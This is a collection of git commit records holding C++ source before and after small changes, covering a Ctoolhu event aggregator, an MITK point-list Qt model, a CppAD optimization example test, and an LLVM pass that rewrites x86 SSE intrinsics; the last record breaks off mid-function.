{"text":"<commit_before>\/\/----------------------------------------------------------------------------\n\/\/ Author:\t\tMartin Klemsa\n\/\/----------------------------------------------------------------------------\n#ifndef _ctoolhu_event_aggregator_included_\n#define _ctoolhu_event_aggregator_included_\n\n#include <boost\/signals2.hpp>\n#include <loki\/Singleton.h>\n\nnamespace Ctoolhu {\n\t\n\tnamespace Event {\n\n\t\ttypedef boost::signals2::connection connection_type;\n\n\t\tnamespace Private {\n\n\t\t\t\/\/facilitates event handling between unrelated publishers and subscribers\n\t\t\ttemplate <class Event>\n\t\t\tclass Aggregator {\n\n\t\t\t  public:\n\n\t\t\t\tAggregator(const Aggregator &) = delete;\n\t\t\t\tAggregator &operator =(const Aggregator &) = delete;\n\n\t\t\t\ttypedef boost::signals2::signal<void (Event *)> signal_type;\n\t\t\t\ttypedef typename signal_type::slot_type slot_type; \n\t\t\t  \n\t\t\t\tconnection_type Subscribe(const slot_type &handler)\n\t\t\t\t{\n\t\t\t\t\treturn _signal.connect(handler);\n\t\t\t\t}\n\n\t\t\t\tvoid Fire(Event &e)\n\t\t\t\t{\n\t\t\t\t\t_signal(&e);\n\t\t\t\t}\n\n\t\t\t  private:\n\n\t\t\t\tfriend struct Loki::CreateUsingNew<Aggregator>;\n\t\t\t\tAggregator() = default;\n\n\t\t\t\tsignal_type _signal;\n\t\t\t};\n\n\t\t\ttemplate <class Event>\n\t\t\tusing SingleAggregator = Loki::SingletonHolder<Private::Aggregator<Event>>;\n\n\t\t} \/\/ns Private\n\n\t} \/\/ns Event\n\n} \/\/ns Ctoolhu\n\n#endif\n<commit_msg>marked event aggregator's firing method as const<commit_after>\/\/----------------------------------------------------------------------------\n\/\/ Author:\t\tMartin Klemsa\n\/\/----------------------------------------------------------------------------\n#ifndef _ctoolhu_event_aggregator_included_\n#define _ctoolhu_event_aggregator_included_\n\n#include <boost\/signals2.hpp>\n#include <loki\/Singleton.h>\n\nnamespace Ctoolhu {\n\t\n\tnamespace Event {\n\n\t\ttypedef boost::signals2::connection connection_type;\n\n\t\tnamespace Private {\n\n\t\t\t\/\/facilitates event handling between unrelated publishers and subscribers\n\t\t\ttemplate <class Event>\n\t\t\tclass Aggregator {\n\n\t\t\t  public:\n\n\t\t\t\tAggregator(const Aggregator &) = delete;\n\t\t\t\tAggregator &operator =(const Aggregator &) = delete;\n\n\t\t\t\ttypedef boost::signals2::signal<void (Event *)> signal_type;\n\t\t\t\ttypedef typename signal_type::slot_type slot_type; \n\t\t\t  \n\t\t\t\tconnection_type Subscribe(const slot_type &handler)\n\t\t\t\t{\n\t\t\t\t\treturn _signal.connect(handler);\n\t\t\t\t}\n\n\t\t\t\tvoid Fire(Event &e) const\n\t\t\t\t{\n\t\t\t\t\t_signal(&e);\n\t\t\t\t}\n\n\t\t\t  private:\n\n\t\t\t\tfriend struct Loki::CreateUsingNew<Aggregator>;\n\t\t\t\tAggregator() = default;\n\n\t\t\t\tsignal_type _signal;\n\t\t\t};\n\n\t\t\ttemplate <class Event>\n\t\t\tusing SingleAggregator = Loki::SingletonHolder<Private::Aggregator<Event>>;\n\n\t\t} \/\/ns Private\n\n\t} \/\/ns Event\n\n} \/\/ns Ctoolhu\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile: mitkPropertyManager.cpp,v $\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision: 1.12 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"QmitkPointListModel.h\"\n#include <itkCommand.h>\n#include \"mitkInteractionConst.h\"\n#include \"mitkPointOperation.h\"\n\nQmitkPointListModel::QmitkPointListModel( mitk::PointSet* pointSet, int t, QObject* parent )\n:QAbstractListModel(parent),\nm_PointSet(NULL),\nm_PointSetModifiedObserverTag(0),\nm_PointSetDeletedObserverTag(0),\nm_TimeStep(t)\n{\n  ObserveNewPointset( pointSet );\n}\n\n\nQmitkPointListModel::~QmitkPointListModel()\n{\n  ObserveNewPointset( NULL );\n}\n\n\nvoid QmitkPointListModel::SetPointSet( mitk::PointSet* pointSet )\n{\n  ObserveNewPointset( pointSet );\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nmitk::PointSet* QmitkPointListModel::GetPointSet() const\n{\n  return m_PointSet;\n}\n\n\nvoid QmitkPointListModel::SetTimeStep(int t)\n{\n  m_TimeStep = t;\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nint QmitkPointListModel::GetTimeStep() const\n{\n  return m_TimeStep;\n}\n\n\nvoid QmitkPointListModel::ObserveNewPointset( mitk::PointSet* pointSet )\n{\n  \/\/ remove old observer\n  if ( m_PointSet != NULL )\n  {\n    m_PointSet->RemoveObserver( m_PointSetModifiedObserverTag );\n    m_PointSet->RemoveObserver( m_PointSetDeletedObserverTag );\n  }\n\n  m_PointSet = pointSet;\n\n  \/\/ add new observer for modified if necessary\n  if ( m_PointSet != NULL )\n  {\n    itk::ReceptorMemberCommand<QmitkPointListModel>::Pointer command = itk::ReceptorMemberCommand<QmitkPointListModel>::New();\n    command->SetCallbackFunction( this, &QmitkPointListModel::OnPointSetChanged );\n    m_PointSetModifiedObserverTag = m_PointSet->AddObserver( itk::ModifiedEvent(), command );\n  }\n  else\n  {\n    m_PointSetModifiedObserverTag = 0;\n  }\n\n  \/\/ add new observer for modified if necessary\n  if ( m_PointSet != NULL )\n  {\n    itk::ReceptorMemberCommand<QmitkPointListModel>::Pointer command = itk::ReceptorMemberCommand<QmitkPointListModel>::New();\n    command->SetCallbackFunction( this, &QmitkPointListModel::OnPointSetDeleted );\n    m_PointSetDeletedObserverTag = m_PointSet->AddObserver( itk::DeleteEvent(), command );\n  }\n  else\n  {\n    m_PointSetDeletedObserverTag = 0;\n  }\n}\n\n\nvoid QmitkPointListModel::OnPointSetChanged( const itk::EventObject &  \/*e*\/ )\n{\n  this->reset();\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nvoid QmitkPointListModel::OnPointSetDeleted( const itk::EventObject &  \/*e*\/ )\n{\n  m_PointSet = NULL;\n  m_PointSetModifiedObserverTag = 0;\n  m_PointSetDeletedObserverTag = 0;\n  emit QAbstractListModel::layoutChanged();\n}\n\n\nint QmitkPointListModel::rowCount( const QModelIndex&  \/*parent*\/ ) const\n{\n  if ( m_PointSet != NULL )\n  {\n    return m_PointSet->GetSize(m_TimeStep);\n  }\n  else\n  {\n    return 0;\n  }\n}\n\n\nQVariant QmitkPointListModel::data(const QModelIndex& index, int role) const\n{\n  if ( m_PointSet == NULL )\n  {\n    return QVariant();\n  }\n\n  if ( !index.isValid() )\n  {\n    return QVariant();\n  }\n\n  if ( index.row() >= m_PointSet->GetSize(m_TimeStep) )\n  {\n    return QVariant();\n  }\n\n  if (role == Qt::DisplayRole)\n  {\n    mitk::PointSet::PointsContainer::ElementIdentifier id;\n    mitk::PointSet::PointType p;\n    bool pointFound = this->GetPointForModelIndex(index, p, id);\n    if (pointFound == false)\n      return QVariant();\n\n    QString s = QString(\"%0: (%1, %2, %3)\")\n      .arg( id, 3)\n      .arg( p[0], 0, 'f', 3 )\n      .arg( p[1], 0, 'f', 3 )\n      .arg( p[2], 0, 'f', 3 );\n    return QVariant(s);\n  }\n  else\n  {\n    return QVariant();\n  }\n}\n\n\nQVariant QmitkPointListModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n  if (role != Qt::DisplayRole)\n  {\n    return QVariant();\n  }\n\n  if (orientation == Qt::Horizontal)\n  {\n    return QString(\"Coordinates\").arg(section);\n  }\n  else\n  {\n    return QString(\"Row %1\").arg(section);\n  }\n}\n\n\nbool QmitkPointListModel::GetPointForModelIndex( const QModelIndex &index, mitk::PointSet::PointType& p, mitk::PointSet::PointIdentifier& id) const\n{\n  if (m_PointSet == NULL)\n    return false;\n\n  if ((index.row() < 0) || (index.row() >= m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Size()))\n    return false;\n\n  \/\/ get the nth. element, if it exists.\n  \/\/ we can not use the index directly, because PointSet uses a map container, \n  \/\/ where the index is not necessarily the same as the key.\n  \/\/ Therefore we have to count the elements\n  mitk::PointSet::PointsContainer::Iterator it = m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Begin();\n  for (int i = 0; i < index.row(); ++i)\n  {\n    ++it;\n    if (it == m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End())\n      return false;\n  }\n  if (it != m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End()) \/\/ not at the end, \n  {\n    p = it->Value();\n    id = it->Index();\n    return true;\n  }\n  return false;\n}\n\n\nbool QmitkPointListModel::GetModelIndexForPointID(mitk::PointSet::PointIdentifier id, QModelIndex& index) const\n{\n  if (m_PointSet == NULL)\n    return false;\n\n  if (m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->IndexExists(id) == false)\n    return false;\n\n  unsigned int idx = 0;\n  for (mitk::PointSet::PointsContainer::Iterator it = m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Begin(); it != m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End(); ++it)\n  {\n    if (it->Index() == id) \/\/ we found the correct element\n    {\n      index = this->index(idx);\n      return true;\n    }\n    idx++;\n  }\n  return false; \/\/ nothing found\n}\n\n\nvoid QmitkPointListModel::MoveSelectedPointUp()\n{\n  if (m_PointSet == NULL)\n    return;\n  \n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpMOVEPOINTUP, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n}\n\n\nvoid QmitkPointListModel::MoveSelectedPointDown()\n{\n  if (m_PointSet == NULL)\n    return;\n\n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpMOVEPOINTDOWN, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n}\n\n\nvoid QmitkPointListModel::RemoveSelectedPoint()\n{\n  if (m_PointSet == NULL)\n    return;\n\n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpREMOVE, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n}\n<commit_msg>FIX (#2939): explicitly call RequestUpdateAll() when pointset gets modified as workaround for PointSet\/Mapper update problem<commit_after>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile: mitkPropertyManager.cpp,v $\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision: 1.12 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"QmitkPointListModel.h\"\n#include <itkCommand.h>\n#include \"mitkInteractionConst.h\"\n#include \"mitkPointOperation.h\"\n#include \"mitkRenderingManager.h\"\n\n\nQmitkPointListModel::QmitkPointListModel( mitk::PointSet* pointSet, int t, QObject* parent )\n:QAbstractListModel(parent),\nm_PointSet(NULL),\nm_PointSetModifiedObserverTag(0),\nm_PointSetDeletedObserverTag(0),\nm_TimeStep(t)\n{\n  ObserveNewPointset( pointSet );\n}\n\n\nQmitkPointListModel::~QmitkPointListModel()\n{\n  ObserveNewPointset( NULL );\n}\n\n\nvoid QmitkPointListModel::SetPointSet( mitk::PointSet* pointSet )\n{\n  ObserveNewPointset( pointSet );\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nmitk::PointSet* QmitkPointListModel::GetPointSet() const\n{\n  return m_PointSet;\n}\n\n\nvoid QmitkPointListModel::SetTimeStep(int t)\n{\n  m_TimeStep = t;\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nint QmitkPointListModel::GetTimeStep() const\n{\n  return m_TimeStep;\n}\n\n\nvoid QmitkPointListModel::ObserveNewPointset( mitk::PointSet* pointSet )\n{\n  \/\/ remove old observer\n  if ( m_PointSet != NULL )\n  {\n    m_PointSet->RemoveObserver( m_PointSetModifiedObserverTag );\n    m_PointSet->RemoveObserver( m_PointSetDeletedObserverTag );\n  }\n\n  m_PointSet = pointSet;\n\n  \/\/ add new observer for modified if necessary\n  if ( m_PointSet != NULL )\n  {\n    itk::ReceptorMemberCommand<QmitkPointListModel>::Pointer command = itk::ReceptorMemberCommand<QmitkPointListModel>::New();\n    command->SetCallbackFunction( this, &QmitkPointListModel::OnPointSetChanged );\n    m_PointSetModifiedObserverTag = m_PointSet->AddObserver( itk::ModifiedEvent(), command );\n  }\n  else\n  {\n    m_PointSetModifiedObserverTag = 0;\n  }\n\n  \/\/ add new observer for modified if necessary\n  if ( m_PointSet != NULL )\n  {\n    itk::ReceptorMemberCommand<QmitkPointListModel>::Pointer command = itk::ReceptorMemberCommand<QmitkPointListModel>::New();\n    command->SetCallbackFunction( this, &QmitkPointListModel::OnPointSetDeleted );\n    m_PointSetDeletedObserverTag = m_PointSet->AddObserver( itk::DeleteEvent(), command );\n  }\n  else\n  {\n    m_PointSetDeletedObserverTag = 0;\n  }\n}\n\n\nvoid QmitkPointListModel::OnPointSetChanged( const itk::EventObject &  \/*e*\/ )\n{\n  this->reset();\n  emit QAbstractListModel::layoutChanged();\n  emit UpdateSelection();\n}\n\n\nvoid QmitkPointListModel::OnPointSetDeleted( const itk::EventObject &  \/*e*\/ )\n{\n  m_PointSet = NULL;\n  m_PointSetModifiedObserverTag = 0;\n  m_PointSetDeletedObserverTag = 0;\n  emit QAbstractListModel::layoutChanged();\n}\n\n\nint QmitkPointListModel::rowCount( const QModelIndex&  \/*parent*\/ ) const\n{\n  if ( m_PointSet != NULL )\n  {\n    return m_PointSet->GetSize(m_TimeStep);\n  }\n  else\n  {\n    return 0;\n  }\n}\n\n\nQVariant QmitkPointListModel::data(const QModelIndex& index, int role) const\n{\n  if ( m_PointSet == NULL )\n  {\n    return QVariant();\n  }\n\n  if ( !index.isValid() )\n  {\n    return QVariant();\n  }\n\n  if ( index.row() >= m_PointSet->GetSize(m_TimeStep) )\n  {\n    return QVariant();\n  }\n\n  if (role == Qt::DisplayRole)\n  {\n    mitk::PointSet::PointsContainer::ElementIdentifier id;\n    mitk::PointSet::PointType p;\n    bool pointFound = this->GetPointForModelIndex(index, p, id);\n    if (pointFound == false)\n      return QVariant();\n\n    QString s = QString(\"%0: (%1, %2, %3)\")\n      .arg( id, 3)\n      .arg( p[0], 0, 'f', 3 )\n      .arg( p[1], 0, 'f', 3 )\n      .arg( p[2], 0, 'f', 3 );\n    return QVariant(s);\n  }\n  else\n  {\n    return QVariant();\n  }\n}\n\n\nQVariant QmitkPointListModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n  if (role != Qt::DisplayRole)\n  {\n    return QVariant();\n  }\n\n  if (orientation == Qt::Horizontal)\n  {\n    return QString(\"Coordinates\").arg(section);\n  }\n  else\n  {\n    return QString(\"Row %1\").arg(section);\n  }\n}\n\n\nbool QmitkPointListModel::GetPointForModelIndex( const QModelIndex &index, mitk::PointSet::PointType& p, mitk::PointSet::PointIdentifier& id) const\n{\n  if (m_PointSet == NULL)\n    return false;\n\n  if ((index.row() < 0) || (index.row() >= m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Size()))\n    return false;\n\n  \/\/ get the nth. element, if it exists.\n  \/\/ we can not use the index directly, because PointSet uses a map container, \n  \/\/ where the index is not necessarily the same as the key.\n  \/\/ Therefore we have to count the elements\n  mitk::PointSet::PointsContainer::Iterator it = m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Begin();\n  for (int i = 0; i < index.row(); ++i)\n  {\n    ++it;\n    if (it == m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End())\n      return false;\n  }\n  if (it != m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End()) \/\/ not at the end, \n  {\n    p = it->Value();\n    id = it->Index();\n    return true;\n  }\n  return false;\n}\n\n\nbool QmitkPointListModel::GetModelIndexForPointID(mitk::PointSet::PointIdentifier id, QModelIndex& index) const\n{\n  if (m_PointSet == NULL)\n    return false;\n\n  if (m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->IndexExists(id) == false)\n    return false;\n\n  unsigned int idx = 0;\n  for (mitk::PointSet::PointsContainer::Iterator it = m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->Begin(); it != m_PointSet->GetPointSet(m_TimeStep)->GetPoints()->End(); ++it)\n  {\n    if (it->Index() == id) \/\/ we found the correct element\n    {\n      index = this->index(idx);\n      return true;\n    }\n    idx++;\n  }\n  return false; \/\/ nothing found\n}\n\n\nvoid QmitkPointListModel::MoveSelectedPointUp()\n{\n  if (m_PointSet == NULL)\n    return;\n  \n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpMOVEPOINTUP, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n  mitk::RenderingManager::GetInstance()->RequestUpdateAll(); \/\/ Workaround for update problem in Pointset\/Mapper\n}\n\n\nvoid QmitkPointListModel::MoveSelectedPointDown()\n{\n  if (m_PointSet == NULL)\n    return;\n\n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpMOVEPOINTDOWN, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n  mitk::RenderingManager::GetInstance()->RequestUpdateAll(); \/\/ Workaround for update problem in Pointset\/Mapper\n}\n\n\nvoid QmitkPointListModel::RemoveSelectedPoint()\n{\n  if (m_PointSet == NULL)\n    return;\n\n  mitk::PointSet::PointIdentifier selectedID; \n  selectedID = m_PointSet->SearchSelectedPoint(m_TimeStep);\n  mitk::PointOperation* doOp = new mitk::PointOperation(mitk::OpREMOVE, m_PointSet->GetPoint(selectedID, m_TimeStep), selectedID, true);\n  m_PointSet->ExecuteOperation(doOp);\n  mitk::RenderingManager::GetInstance()->RequestUpdateAll(); \/\/ Workaround for update problem in Pointset\/Mapper\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* $Id$ *\/\n\/* --------------------------------------------------------------------------\nCppAD: C++ Algorithmic Differentiation: Copyright (C) 2003-09 Bradley M. Bell\n\nCppAD is distributed under multiple licenses. This distribution is under\nthe terms of the \n                    Common Public License Version 1.0.\n\nA copy of this license is included in the COPYING file of this distribution.\nPlease visit http:\/\/www.coin-or.org\/CppAD\/ for information on other licenses.\n-------------------------------------------------------------------------- *\/\n\n\/*\n$begin optimize.cpp$$\n\n$section ADFun Operation Sequence Optimization: Example and Test$$\n\n$index optimize, operation sequence$$\n$index operation, optimize sequence$$\n$index sequence, optimize operation$$\n$index test, optimize$$\n$index example, optimize$$\n\n$code\n$verbatim%example\/optimize.cpp%0%\/\/ BEGIN PROGRAM%\/\/ END PROGRAM%1%$$\n$$\n\n$end\n*\/\n\/\/ BEGIN PROGRAM\n# include <cppad\/cppad.hpp>\nnamespace {\n\ttemplate <class Float>\n\tFloat fun(const Float& x)\n\t{\tusing CppAD::exp;\n\n\t \t\/\/ Create a variable that is optimized out because \n\t \t\/\/ it is only used in the comparision operation.\n\t\tFloat a = 1. \/ x;\n\n\t\t\/\/ Create a variable that is used by the result\n\t\tFloat b = x * 5.;\n\n\t\tFloat c;\n\t\tif( a < x )  \n\t\t\tc = b + 3.; \/\/ only one variable created by this choice\n\t\telse\tc = b + 2.;\n\n\t\t\/\/ Create a variable that is optimized out because it\n\t\t\/\/ will always have the same value as b\n\t\tFloat d = 5. * x;\n\n\t\t\/\/ Note that the operation sequence connects b, c, and d with y\n\t\t\/\/ (but a is not connected).\n\t\tFloat y = c + d; \n\n\t\treturn y;\n\t}\n}\n\nbool optimize(void)\n{\tbool ok = true;\n\tusing CppAD::AD;\n\n\t\/\/ domain space vector\n\tsize_t n  = 1;\n\tCPPAD_TEST_VECTOR< AD<double> > X(n);\n\tX[0]      = .5; \n\n\t\/\/ declare independent variables and start tape recording\n\tCppAD::Independent(X);\n\n\t\/\/ range space vector \n\tsize_t m = 1;\n\tCPPAD_TEST_VECTOR< AD<double> > Y(m);\n\tY[0] = fun(X[0]);\n\n\t\/\/ create f: X -> Y and stop tape recording\n\tCppAD::ADFun<double> F(X, Y);\n\n\t\/\/ Check the number of variables in original operation sequence:\n\t\/\/ BeginOp:  one phantom variable at beginning of operation sequence\n\t\/\/ X[0]:     the independent variable\n\t\/\/ a,b,c,d:  four temporary variables inside the function fun\n\t\/\/ y:        return value for the function fun and dependent variable\n\tok &= (F.size_var() == 7);\n\n\t\/\/ Check zero order forward mode on the original operation sequence\n\tCPPAD_TEST_VECTOR<double> x(n), y(m), check(m);\n\tx[0] = Value(X[0]);\n\ty = F.Forward(0, x);\n\tok &= y[0] == fun(x[0]);\n\n\t\/\/ Optimize the operation sequence\n\tF.optimize();\n\n\t\/\/ Check the number of variables in original operation sequence:\n\t\/\/ BeginOp: at the beginning of every operation sequence.\n\t\/\/ X[0]:    the independent variable.\n\t\/\/ b, c:    temporay variables in the function fun.\n\t\/\/ y:       return value for the function fun and dependent variable.\n\tok &= (F.size_var() == 5);\n\n\t\/\/ Check result for a zero order calculation.\n\t\/\/ This has already been checked if NDEBUG is not defined.\n\ty = F.Forward(0, x);\n\tok &= y[0] == fun(x[0]);\n\treturn ok;\n}\n\n\/\/ END PROGRAM\n<commit_msg>trunk: missing from previous commit<commit_after>\/* $Id$ *\/\n\/* --------------------------------------------------------------------------\nCppAD: C++ Algorithmic Differentiation: Copyright (C) 2003-09 Bradley M. Bell\n\nCppAD is distributed under multiple licenses. This distribution is under\nthe terms of the \n                    Common Public License Version 1.0.\n\nA copy of this license is included in the COPYING file of this distribution.\nPlease visit http:\/\/www.coin-or.org\/CppAD\/ for information on other licenses.\n-------------------------------------------------------------------------- *\/\n\n\/*\n$begin optimize.cpp$$\n\n$section ADFun Operation Sequence Optimization: Example and Test$$\n\n$index optimize, operation sequence$$\n$index operation, optimize sequence$$\n$index sequence, optimize operation$$\n$index test, optimize$$\n$index example, optimize$$\n\n$code\n$verbatim%example\/optimize.cpp%0%\/\/ BEGIN PROGRAM%\/\/ END PROGRAM%1%$$\n$$\n\n$end\n*\/\n\/\/ BEGIN PROGRAM\n# include <cppad\/cppad.hpp>\nnamespace {\n\ttemplate <class Float>\n\tvoid fun(const Float& x, Float& y, size_t& n_var, size_t& n_opt)\n\t{\tusing CppAD::exp;\n\n\t \t\/\/ Create a variable that is optimized out because \n\t \t\/\/ it is only used in the comparision operation.\n\t\tFloat a = 1. \/ x;\n\t\tn_var += 1;\n\t\tn_opt += 0;\n\n\t\t\/\/ Create a variable that is used by the result\n\t\tFloat b = x * 5.;\n\t\tn_var += 1;\n\t\tn_opt += 1;\n\n\t\tFloat c;\n\t\tif( a < x )  \n\t\t\tc = b \/ 3.; \/\/ only one variable created by this choice\n\t\telse\tc = b \/ 2.;\n\t\tn_var += 1;\n\t\tn_opt += 1;\n\n\t\t\/\/ Create a variable that is optimized out because it\n\t\t\/\/ will always have the same value as b\n\t\tFloat d = 5. * x;\n\t\tn_var += 1;\n\t\tn_opt += 0;\n\n\t\t\/\/ Create three variables that will be converted to one\n\t\t\/\/ cumulative summation. Note that a is not connected to \n\t\t\/\/ the result y (in the operation sequence).\n\t\ty      = 1. + b + c + d; \n\t\tn_var += 3;\n\t\tn_opt += 1;\n\t}\n}\n\nbool optimize(void)\n{\tbool ok = true;\n\tusing CppAD::AD;\n\n\t\/\/ domain space vector\n\tsize_t n  = 1;\n\tCPPAD_TEST_VECTOR< AD<double> > X(n);\n\tX[0]      = .5; \n\n\t\/\/ declare independent variables and start tape recording\n\tCppAD::Independent(X);\n\tsize_t n_var = 1 + n; \/\/ one phantom variable at the beginning\n\tsize_t n_opt = 1 + n; \/\/ and one for each independent variable\n\n\t\/\/ range space vector \n\tsize_t m = 1;\n\tCPPAD_TEST_VECTOR< AD<double> > Y(m);\n\tfun(X[0], Y[0], n_var, n_opt);\n\n\t\/\/ create f: X -> Y and stop tape recording\n\tCppAD::ADFun<double> F(X, Y);\n\tok &= (F.size_var() == n_var);\n\n\t\/\/ Check zero order forward mode on the original operation sequence\n\tCPPAD_TEST_VECTOR<double> x(n), y(m);\n\tx[0] = Value(X[0]);\n\tsize_t i = 0; \/\/ temporary variable (we do not use value)\n\tdouble check;\n\tfun(x[0], check, i, i);\n\ty   = F.Forward(0, x);\n\tok &= (y[0] == check);\n\n\t\/\/ Optimize the operation sequence\n\tF.optimize();\n\tok &= (F.size_var() == n_opt);\n\n\t\/\/ Check result for a zero order calculation.\n\t\/\/ This has already been checked if NDEBUG is not defined.\n\tfun(x[0], check, i, i);\n\tok &= (y[0] == check);\n\ty   = F.Forward(0, x);\n\treturn ok;\n}\n\n\/\/ END PROGRAM\n<|endoftext|>"}
{"text":"<commit_before>#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n\nusing namespace llvm;\n\nnamespace {\n  struct IntrinsicHoistingPass : public FunctionPass {\n    static char ID;\n    IntrinsicHoistingPass() : FunctionPass(ID) {}\n\n    virtual bool doInitialization(Module &M) override {\n      errs() << \"Entering module: \" << M.getModuleIdentifier() << \"\\n\";\n      return false;\n    }\n\n    virtual bool runOnFunction(Function &F) override {\n      bool modified = false;\n        \n      LLVMContext & context = F.getContext();\n\n      errs() << \"Function: \" << F.getName() << \"\\n\";\n      \/\/F.viewCFG();      \/\/ Display CFG of the current function (require Graphviz)\n      for (auto &BB: F) {\n        errs() << \"Entering basic block: \\n\";\n        for (BasicBlock::iterator InstItr = BB.begin(); InstItr != BB.end(); InstItr++) {\n          CallInst * call = dyn_cast<CallInst>(InstItr);\n          if (call == NULL) continue;\n          Function * func = call->getCalledFunction();\n          if (func->getName().startswith(\"llvm.x86\"))\n            errs() << \"Found intrinsic: \" << func->getName() << \"\\n\";\n          else\n            continue;\n\n          \/\/ TODO more intrinsic replacement\n          if (func->getName() == \"llvm.x86.sse2.psll.q\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n      \t\t  BB.dump();\n\n            Value *v = call->getOperand(0);\n            Value *count_raw = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value* count = builder.CreateShuffleVector(\n                count_raw,\n                UndefValue::get(count_raw->getType()),\n                ConstantVector::get({\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  })\n                );\n            \/\/ res = shl v, <count[0], count[0]>\n            Value* newshl = builder.CreateShl(v, count);\n            ReplaceInstWithValue(BB.getInstList(), InstItr, newshl);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n      \t\t  BB.dump();\n          }\n\n          if (func->getName() == \"llvm.x86.sse2.pavg.w\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/ %sum = add <8 x i16> v0, <8 x i16> v1;\n            \/\/%one = <8 x i16> <i16 1, i16 1, i16 1, i16 1, i16 1, i16 1, i16 1, i16 1>;\n            \/\/%sum1 = add %sum, %one;\n            \/\/%avg = %sum1 >> 1;\n            Value *sum = builder.CreateAdd(v0, v1);\n            Value *temp = Constant::getIntegerValue(Type::getInt16Ty(context), llvm::APInt(16, 1, false));\n            Value *one = builder.CreateVectorSplat(8, temp);\n            Value *sum1 = builder.CreateAdd(sum, one);\n            Value *avg = builder.CreateLShr(sum1, one);\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, avg);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n\n          if (func->getName() == \"llvm.x86.sse2.pmins.w\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%comp = icmp slt <8 x i16> v0, <8 x i16> v1;\n            \/\/%sel = select <8 x i1> comp, <8 x i16> v0, <8 x i16> v1;\n            Value *comp = builder.CreateICmpSLT(v0, v1);\n            Value *sel = builder.CreateSelect(comp, v0, v1);\n\n            